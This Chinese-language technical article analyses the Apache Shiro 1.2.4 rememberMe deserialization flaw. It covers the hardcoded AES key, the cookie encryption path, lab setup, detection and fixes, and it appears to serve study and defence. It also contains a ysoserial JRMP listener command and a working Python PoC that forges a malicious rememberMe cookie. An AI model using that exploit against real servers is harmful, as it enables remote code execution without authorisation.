深入分析shiro反序列化漏洞
字数 1831 2025-08-18 11:39:08

Apache Shiro 反序列化漏洞深入分析与利用

1. Shiro 简介与漏洞背景

Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。其中"Remember Me"功能允许用户在关闭浏览器后仍保持登录状态,但该功能的实现存在严重的安全漏洞。

漏洞核心:Shiro 在 1.2.4 及之前版本中,Remember Me 功能使用了硬编码的 AES 加密密钥(kPH+bIxk5D2deZiIxcaaaA==),攻击者可以利用此密钥构造恶意序列化数据,导致远程代码执行。

2. 漏洞环境搭建

2.1 获取漏洞版本代码

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

2.2 修改 pom.xml 配置

需要修改 samples/web 项目的 pom.xml 文件:

<properties>
    <maven.compiler.source>1.6</maven.compiler.source>
    <maven.compiler.target>1.6</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

3. Shiro Remember Me 机制分析

3.1 认证流程

  1. 用户登录时勾选"Remember Me"选项
  2. Shiro 将用户信息序列化后使用 AES 加密
  3. 加密结果经过 Base64 编码后存入 Cookie
  4. 下次访问时,Shiro 从 Cookie 中读取、解密并反序列化数据

3.2 关键代码路径

  • 加密过程

    • DefaultSecurityManager#login
    • AbstractRememberMeManager#rememberIdentity
    • convertPrincipalsToBytes (序列化 + AES 加密)
    • CookieRememberMeManager#rememberSerializedIdentity (Base64 编码)
  • 解密过程

    • DefaultSecurityManager#resolvePrincipals
    • AbstractRememberMeManager#getRememberedPrincipals
    • CookieRememberMeManager#getRememberedSerializedIdentity (Base64 解码)
    • convertBytesToPrincipals (AES 解密 + 反序列化)

4. 漏洞利用原理

4.1 漏洞触发条件

  1. 目标系统使用 Shiro ≤1.2.4
  2. 配置了使用 Remember Me 功能
  3. 目标系统包含可利用的反序列化 gadget chain(如 Commons Collections)

4.2 利用步骤

  1. 构造恶意序列化数据

    • 使用 ysoserial 生成 payload
    • 使用硬编码密钥 AES 加密
    • Base64 编码后构造 Cookie
  2. 搭建 JRMP 监听服务

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'command'
    
  3. 发送恶意请求

    • 在请求中包含构造的 rememberMe Cookie
    • 触发目标服务器反序列化漏洞

4.3 PoC 代码

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

5. 漏洞检测方法

5.1 指纹识别

发送包含非法 rememberMe 值的请求:

rememberMe=1

响应特征

  • 返回 Set-Cookie 头包含 rememberMe=deleteMe
  • 证明目标使用了 Shiro 且开启了 Remember Me 功能

5.2 密钥检测

可以尝试使用已知的硬编码密钥(如 kPH+bIxk5D2deZiIxcaaaA==)加密 payload,观察系统反应。

6. 漏洞修复方案

6.1 官方修复

Shiro 1.2.5 及以上版本:

  • 不再使用硬编码 AES 密钥
  • 改为使用 generateNewKey() 方法动态生成密钥

6.2 修复建议

  1. 升级到最新版本 Shiro
  2. 如果无法立即升级:
    • 自定义 AbstractRememberMeManager 实现
    • 修改默认加密密钥
    • 禁用 Remember Me 功能(如不需要)

7. 防御措施

  1. 输入验证

    • 对 rememberMe Cookie 值进行严格验证
    • 拒绝非法格式的输入
  2. 加密增强

    • 使用强随机密钥
    • 定期轮换密钥
  3. 反序列化防护

    • 使用 ObjectInputFilter 限制反序列化类
    • 替换默认的 Java 反序列化机制
  4. 最小权限原则

    • Remember Me 功能不应授予与正常登录相同的权限

8. 总结

Shiro 反序列化漏洞是一个典型的安全设计缺陷案例,它展示了:

  1. 硬编码密钥的危险性
  2. 反序列化操作的安全风险
  3. 功能安全与系统安全的平衡重要性

理解此漏洞有助于开发者更好地设计安全系统,同时也提醒安全研究人员关注框架的默认配置风险。

Apache Shiro 反序列化漏洞深入分析与利用 1. Shiro 简介与漏洞背景 Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。其中"Remember Me"功能允许用户在关闭浏览器后仍保持登录状态,但该功能的实现存在严重的安全漏洞。 漏洞核心:Shiro 在 1.2.4 及之前版本中,Remember Me 功能使用了硬编码的 AES 加密密钥( kPH+bIxk5D2deZiIxcaaaA== ),攻击者可以利用此密钥构造恶意序列化数据,导致远程代码执行。 2. 漏洞环境搭建 2.1 获取漏洞版本代码 2.2 修改 pom.xml 配置 需要修改 samples/web 项目的 pom.xml 文件: 3. Shiro Remember Me 机制分析 3.1 认证流程 用户登录时勾选"Remember Me"选项 Shiro 将用户信息序列化后使用 AES 加密 加密结果经过 Base64 编码后存入 Cookie 下次访问时,Shiro 从 Cookie 中读取、解密并反序列化数据 3.2 关键代码路径 加密过程 : DefaultSecurityManager#login AbstractRememberMeManager#rememberIdentity convertPrincipalsToBytes (序列化 + AES 加密) CookieRememberMeManager#rememberSerializedIdentity (Base64 编码) 解密过程 : DefaultSecurityManager#resolvePrincipals AbstractRememberMeManager#getRememberedPrincipals CookieRememberMeManager#getRememberedSerializedIdentity (Base64 解码) convertBytesToPrincipals (AES 解密 + 反序列化) 4. 漏洞利用原理 4.1 漏洞触发条件 目标系统使用 Shiro ≤1.2.4 配置了使用 Remember Me 功能 目标系统包含可利用的反序列化 gadget chain(如 Commons Collections) 4.2 利用步骤 构造恶意序列化数据 : 使用 ysoserial 生成 payload 使用硬编码密钥 AES 加密 Base64 编码后构造 Cookie 搭建 JRMP 监听服务 : 发送恶意请求 : 在请求中包含构造的 rememberMe Cookie 触发目标服务器反序列化漏洞 4.3 PoC 代码 5. 漏洞检测方法 5.1 指纹识别 发送包含非法 rememberMe 值的请求: 响应特征 : 返回 Set-Cookie 头包含 rememberMe=deleteMe 证明目标使用了 Shiro 且开启了 Remember Me 功能 5.2 密钥检测 可以尝试使用已知的硬编码密钥(如 kPH+bIxk5D2deZiIxcaaaA== )加密 payload,观察系统反应。 6. 漏洞修复方案 6.1 官方修复 Shiro 1.2.5 及以上版本: 不再使用硬编码 AES 密钥 改为使用 generateNewKey() 方法动态生成密钥 6.2 修复建议 升级到最新版本 Shiro 如果无法立即升级: 自定义 AbstractRememberMeManager 实现 修改默认加密密钥 禁用 Remember Me 功能(如不需要) 7. 防御措施 输入验证 : 对 rememberMe Cookie 值进行严格验证 拒绝非法格式的输入 加密增强 : 使用强随机密钥 定期轮换密钥 反序列化防护 : 使用 ObjectInputFilter 限制反序列化类 替换默认的 Java 反序列化机制 最小权限原则 : Remember Me 功能不应授予与正常登录相同的权限 8. 总结 Shiro 反序列化漏洞是一个典型的安全设计缺陷案例,它展示了: 硬编码密钥的危险性 反序列化操作的安全风险 功能安全与系统安全的平衡重要性 理解此漏洞有助于开发者更好地设计安全系统,同时也提醒安全研究人员关注框架的默认配置风险。